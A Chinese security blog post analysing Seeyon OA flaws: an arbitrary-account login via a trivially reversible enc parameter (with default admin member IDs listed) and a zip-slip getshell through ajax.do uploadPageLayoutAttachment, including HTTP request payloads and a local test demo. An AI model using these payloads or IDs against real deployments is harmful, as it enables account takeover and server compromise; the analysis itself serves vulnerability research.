某远OA任意账户登陆-漏洞分析

某远OA漏洞分析

hw已经开始2天啦,期间爆出不少漏洞,这也是一个不错的学习机会,可以学一下大佬的挖洞姿势。

看到某远OA出现了漏洞,随笔写下分析文章。经典的组合漏洞。其实只要进了后台,还是有几个方法可以拿到shell的。

本机环境:

Windows 10

Mysql 5.5.37

S1 V1.9.5/Seeyon A8+/V7.0 SP1

一.任意账户登陆分析
1.png
根据互联网上的POC来看。漏洞在/thirdpartyController.do"且method为access.

根据xml配置文件确定thirdpartyController.do对应类为com.seeyon.ctp.portal.sso.thirdpartyintegration.controller.ThirdpartyController
2.png
漏洞分析:
主要问题在于enc参数的加解密上。

    if (request.getParameter("enc") != null) {
      enc = LightWeightEncoder.decodeString(request.getParameter("enc").replaceAll(" ", "+"));
    } else {
      String transcode = URLDecoder.decode(request.getQueryString().split("enc=")[1]);
      enc = (request.getQueryString().indexOf("enc=") > 0) ? LightWeightEncoder.decodeString(transcode) : null;
    } 
    if (enc == null) {
      mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
      return mv;
    } 

如果enc参数的值不为空。则进LightWeightEncoder.decodeString进行解密。
这里切入LightWeightEncoder类。
3.png
定义了两个方法,encodeStringdecodeString.及加密/解密。也就是说,在enc不为空条件下,将其内容传入decodeString方法进行解密。

加解密的规则是将字符通过toCharArray()方法转换为字符数组。
4.png
然后通过for循环,将每个字符的char值上加一。
5.png

如:abcd => char() 97 98 99 100

转换后为:char() 98 99 100 101 => bcde

最后返回base64编码过后的内容。

回到thirdpartyController.do中。看enc解密过后的内容进行了哪些操作。

 Map<String,String> encMap = new HashMap<String, String>();
 String[] enc0 = enc.split("[&]");
    for (String enc1 : enc0) {
      String[] enc2 = enc1.split("[=]");
      if (enc2 != null) {
        String key = enc2[0];
        String value = (enc2.length == 2) ? enc2[1] : null;
        if (null != value) {
          value = URLEncoder.encode(value);
          value = value.replaceAll("%3F", "");
          value = URLDecoder.decode(value);
        } 
        encMap.put(key, value);
      } 
    } 

先创建了一个HashMap。然后将enc的内容以&进行分割。在以=分割出keyvalue.后写入encMap中。

也就是说test=123分割后key:test value:123

继续往下:

    String linkType = encMap.get("L");
    //取L键指
    String path = encMap.get("P");
     //取P键指
    if (Strings.isNotBlank(linkType))//一次判空。 {
      String startTimeStr = "0";//默认值
      if (encMap.containsKey("T")) {
        startTimeStr = encMap.get("T");//取T键值
        startTimeStr = startTimeStr.trim();
      } 
      Long timeStamp = Long.valueOf(0L);
      if (NumberUtils.isNumber(startTimeStr)) {
        timeStamp = Long.valueOf(Long.parseLong(startTimeStr));
      } else {
        timeStamp = Long.valueOf(DateUtil.parse(startTimeStr, "yyyy-MM-dd HH:mm:ss").getTime());
      } 
      if ((System.currentTimeMillis() - timeStamp.longValue()) / 1000L > (this.messageMailManager.getContentLinkValidity() * 60 * 60)) {
        mv.addObject("ExceptionKey", "mail.read.alert.guoqi");
        return mv;
      } 
      String _memberId = encMap.get("M");

6.png
这里注意encMap的使用。
主要变量有:linkType,path,startTimeStr,_memberId,ticket

分别取encMap中的:L,P,T,M,C键的值。

startTimeStrT键的值。下方对startTimeStr进行判断,如果是数字,则转换成long类型。如果不是数字,则按照yyyy-MM-dd HH:mm:ss的格式转换为日期。在转换成long类型的时间时间戳。

需要注意下方的if判断,如果System.currentTimeMillis()的值减去startTimeStr在除1000L如果大于getContentLinkValidity() * 60 * 60)的值。则返回超时。这里的
getContentLinkValidity我没追到,应该是在消息邮件设置中配置。但返回的是个int类型。这里的startTimeStr的随便传入一个较大的数字就行了。
7.png

接着往下走。。。

下方分别对linkType,_memberId的值进行了判空操作以及对link的赋值。

link=(String)UserMessageUtil.getMessageLinkType().get(linkType)

8.png

linkType的值有很多。网上的POC大多是message.link.doc.folder.open。这个有很多,具体参考安装目录下的seeyon/WEB-INF/cfgHome/base/message-link.properties文件,随便选一个就可以了。这里不重要,主要是为了让link变量的值不为空。和后面的具体操作没啥关系。

若为空,都会返回mail.read.alert.wuxiao

下面就是关键的几个步骤了,也是漏洞点出现的地方。
9.png

如果当前会话中的com.seeyon.current_user为空。那么进入esle

 V3xOrgMember member = this.orgManager.getMemberById(Long.valueOf(memberId));

在else中,通过getMemberById方法查询memberId所对应的用户。如果member不为空。则创建currentUser对象

session.setAttribute("com.seeyon.current_user", currentUser);

在会话中设置用户信息。导致任意账户登陆。

这里的memberId是取的 encMap中的M键值

String _memberId = encMap.get("M");

为可控参数。

该值安装时存在4个默认id。对应不同权限

"5725175934914479521"   "集团管理员"
"-7273032013234748168"  "系统管理员"
"-7273032013234748798"  "系统监控"
"-4401606663639775639"  "审计管理员"

POC:

10.png
获取Cookie
11.png
测试Cookie是否可用:

13.png

GET /seeyon/main.do?method=headerjs&login=-1448586625 HTTP/1.1
Host: 192.168.137.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: */*
Referer: http://192.168.137.1/seeyon/main.do?method=main
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=<Payload>; loginPageURL=; login_locale=en
Connection: close

二.Getshell

文件上传就直接跳过了(没啥好看的)

这里主要分析ajax.do

POST /seeyon/ajax.do HTTP/1.1
Host: 192.168.10.2
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=BDF7358D4C35C6D2BB99FADFEE21F913
Content-Length: 157

method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%222021-04-09%22%2C%225818374431215601542%22%5D

method=ajaxAction,managerName=portalDesignerManager,managerMethod=uploadPageLayoutAttachment

参数:

arguments=[0,"2021-04-09","5818374431215601542"]

这里需要注意:

ajax.do下的ajaxAction是通过invokeService方法是调用一些服务
14.png
15.png
POC中managerNameportalDesignerManager.当前环境A8+/V7.0SP1中,没有找到这个类。于是去低版本中扒了一个。(低版本才存在这个漏洞。具体影响版本未知)。

jar包为:seeyon-ctp-portal.jar

managerMethod=uploadPageLayoutAttachment

16.png
传递的参数为:

arguments=[0,"2021-04-09","5818374431215601542"]

attchmentIdStr=0
createDate=2021-04-09
fileUrl=5818374431215601542

rootPath为上传时产生的文件夹。(日期命名 年-月-日)

String rootPath = this.fileManager.getFolder(Datetimes.parse(createDate, "yyyy-MM-dd"), false);

fileUrl为上传时返回的 fileid

后面直接使用ZipUtil进行解压

        String filePath = rootPath + File.separator + fileUrl;
        File zipFile = new File(filePath);
        String pageLayoutId = String.valueOf(UUIDLong.longUUID());
        String relativePath = File.separator + "common/designer/pageLayout" + File.separator + pageLayoutId + File.separator;
        String uploadPageLayoutPath = pageLayoutRootPath + relativePath;
        File unzipDirectory = new File(uploadPageLayoutPath);
        ZipUtil.unzip(zipFile, unzipDirectory);

解压后的路径是common/designer/pageLayout+一层uuid。这里可以尝试跨目录。

参考文章:
https://www.o2oxy.cn/3394.html

由于本地环境太新了。。。没这个漏洞,所以,我把所需要的jar包导出来本地写了个demo

import com.seeyon.ctp.common.SystemEnvironment;
import com.seeyon.ctp.util.UUIDLong;
import com.seeyon.ctp.util.ZipUtil;

import java.io.File;
import java.io.IOException;

public class main {
    public static void main(String[] args) throws IOException {
        String pageLayoutRootPath = SystemEnvironment.getApplicationFolder();
        String fileUrl="1.zip";
        String rootPath = "/Users/yuanhai/Desktop/Seeyon/2021-4-11";
        String filePath = rootPath + File.separator + fileUrl;
        File zipFile = new File(filePath);
        String pageLayoutId = String.valueOf(UUIDLong.longUUID());
        String relativePath = File.separator + "common/designer/pageLayout" + File.separator + pageLayoutId + File.separator;
        String uploadPageLayoutPath = pageLayoutRootPath + relativePath;
        File unzipDirectory = new File(uploadPageLayoutPath);
        ZipUtil.unzip(zipFile, unzipDirectory);
    }
}

17.png
文件正常解压,可getshell。

分析到此结束。
一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一
填坑,文章发出来。有几位师傅说有坑,确实。复现过程中遇到了一个坑。

ZipUtil.unzip(zipFile, unzipDirectory);

就在于这个ZipUtil。有几位师傅可能也尝试跟我一样写demo去复现。会发现一个错误。

Entry is outside of the target dir

这样需要注意一下。版本问题。版本问题。版本问题。重要的事情说三遍。

只有seeyon-ctp-core.jar的修改时间为
2018-05-24才能使用../去跨随机生成的uuid目录。

那么?这个有办法绕过吗?对比下修复后与修复前的代码

修复后:
1111.png
修复前:
22222.png

没有较大的改动,主要就是多了两行代码,一个if判断

if (!canonicalDestinationFile.startsWith(canonicalDestinationDirPath))
        throw new UnsupportedOperationException("Entry is outside of the target dir: " + canonicalDestinationFile);

如果canonicalDestinationFile的内容不是以canonicalDestinationDirPath的内容最为开头,则抛出异常UnsupportedOperationException.

本地debug跟一下这两个的内容。先是for循环处理了layout.xml。后面解压../1.jsp文件。
33333.png
在此处添加断点。然后一步一步走。
当开始解压../1.jsp进入if判断的时候,可以看到两个值的内容。
4444.png
canonicalDestinationDirPath=/Users/yuanhai/Desktop/Seeyon/1/common/designer/pageLayout/-5320738651035909811

canonicalDestinationFile=/Users/yuanhai/Desktop/Seeyon/1/common/designer/pageLayout/1.jsp

在进行的if的时候。由于canonicalDestinationFile在拼接文件名的时候就已经跨出了uuid目录。导致无法满足以canonicalDestinationDirPath的值作为开头。条件不满足,则抛出UnsupportedOperationException异常。

无法绕过。。

本文链接:

https://websecuritys.cn/index.php/archives/357/
1 + 7 =
快来做第一个评论的人吧~